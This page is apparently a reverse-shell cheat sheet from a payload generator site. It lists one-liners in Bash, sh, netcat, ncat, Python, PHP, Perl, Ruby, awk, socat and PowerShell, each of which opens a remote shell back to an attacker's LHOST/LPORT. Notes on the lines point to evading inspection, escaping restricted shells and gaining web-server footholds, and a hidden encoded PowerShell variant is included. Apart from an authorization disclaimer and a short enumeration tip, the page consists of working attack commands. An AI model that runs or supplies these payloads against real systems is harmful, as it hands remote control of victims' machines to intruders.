For authorized testing & lab environments only.Use only on systems you own or are explicitly contracted to assess. Unauthorized access is illegal.
Cheat sheet

One-liner reference

A printable scan of the payloads available in thegenerator. Replace LHOST andLPORT with your listener values — or let the generator substitute and encode them for you.

Linux / Unix

ShellPayloadNotes
Bash /dev/tcpbash -i >& /dev/tcp/LHOST/LPORT 0>&1No external binary; needs Bash with /dev/tcp.
Bash 1960<&196;exec 196<>/dev/tcp/LHOST/LPORT; bash <&196 >&196 2>&196Survives some restricted shells.
shsh -i >& /dev/tcp/LHOST/LPORT 0>&1POSIX fallback where Bash is absent.
nc -enc LHOST LPORT -e /bin/shOnly on netcat built with -e support.
nc mkfiform -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/fWorks without -e via named pipe.
ncat TLSncat --ssl LHOST LPORT -e /bin/bashEncrypts the channel against inspection.
Python 3python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'Portable; spawns a PTY directly.
PHPphp -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'Great for web-server footholds.
Perlperl -e 'use Socket;...exec("/bin/sh -i");'Preinstalled on most Unix hosts.
Rubyruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("LHOST",LPORT))'Concise socket spawn.
awkawk 'BEGIN{s="/inet/tcp/0/LHOST/LPORT";...}' /dev/nullLast-resort when little is installed.
socat PTYsocat TCP:LHOST:LPORT EXEC:'bash -li',pty,stderr,setsid,sigint,saneFully interactive TTY out of the box.

Windows

ShellPayloadNotes
PowerShell TCPClientpowershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);..."The default Windows reverse shell.
PowerShell -encpowershell -nop -w hidden -enc <UTF16LE-base64>Use the Base64 toggle on the generator.
nc.exenc.exe LHOST LPORT -e cmd.exeRequires nc.exe / ncat.exe on target.
Python 3 (Win)python3 -c "import socket,subprocess,os;...Popen(['cmd.exe'],...)"If Python is installed on the host.

Pick by environment, not habit

The most reliable payload is the one whose interpreter already exists on the target. Enumerate first — which python3 bash nc socaton Linux, or check $PSVersionTable on Windows — then choose a matching one-liner.